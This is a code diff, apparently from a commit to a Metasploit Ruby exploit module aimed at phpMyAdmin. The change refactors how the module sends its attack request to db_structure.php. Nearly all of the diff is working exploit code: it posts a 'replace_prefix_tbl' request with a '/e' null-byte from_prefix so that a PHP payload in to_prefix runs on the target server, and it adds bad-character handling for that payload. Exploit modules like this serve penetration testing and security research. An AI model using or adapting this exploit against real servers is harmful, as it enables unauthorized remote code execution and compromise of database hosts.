@@ -37,6 +37,7 @@ def initialize(info = {})
37
37
'Arch' => ARCH_PHP ,
38
38
'Payload' =>
39
39
{
40
+ 'BadChars' => "&\n =+%" ,
40
41
'DisableNops' => true ,
41
42
'Compat' => { 'ConnectionType' => 'find' }
42
43
} ,
@@ -155,37 +156,21 @@ def exploit
155
156
end
156
157
157
158
db = rand_text_alpha ( 3 +rand ( 3 ) )
158
- pay = Rex ::Text . encode_base64 ( payload . encoded )
159
- evil = [ ]
160
- evil << "query_type=replace_prefix_tbl"
161
- evil << "db=#{ db } "
162
- evil << "selected%5B0%5D=#{ db } "
163
- evil << "token=#{ token } "
164
- evil << "from_prefix=%2Fe%00"
165
- evil << "to_prefix=#{ Rex ::Text . uri_encode ( "eval(base64_decode('#{ pay } '))" , 'hex-random' ) } "
166
- evil << "mult_btn=Yes"
167
-
168
- data = ""
169
- evil . shuffle!
170
- 0 . upto ( evil . count -1 ) do |i |
171
- if i == 0
172
- data << evil [ i ]
173
- else
174
- data << '&' << evil [ i ]
175
- end
176
- end
177
-
178
- exploit_result = send_request_raw ( {
179
- 'uri' => uri ( 'db_structure.php' ) ,
180
- 'method' => 'POST' ,
181
- 'data' => data ,
182
- 'cookie' => cookie ,
183
- 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }
184
- } , 2 )
185
159
186
- if exploit_result
187
- print_error ( "Response retrieved from server, exploit failed." )
188
- end
160
+ exploit_result = send_request_cgi ( {
161
+ 'uri' => uri ( 'db_structure.php' ) ,
162
+ 'method' => 'POST' ,
163
+ 'cookie' => cookie ,
164
+ 'vars_post' => {
165
+ 'query_type' => 'replace_prefix_tbl' ,
166
+ 'db' => db ,
167
+ 'selected[0]' => db ,
168
+ 'token' => token ,
169
+ 'from_prefix' => "/e\0 " ,
170
+ 'to_prefix' => payload . encoded ,
171
+ 'mult_btn' => 'Yes'
172
+ }
173
+ } , 1 )
189
174
end
190
175
end
191
176
0 commit comments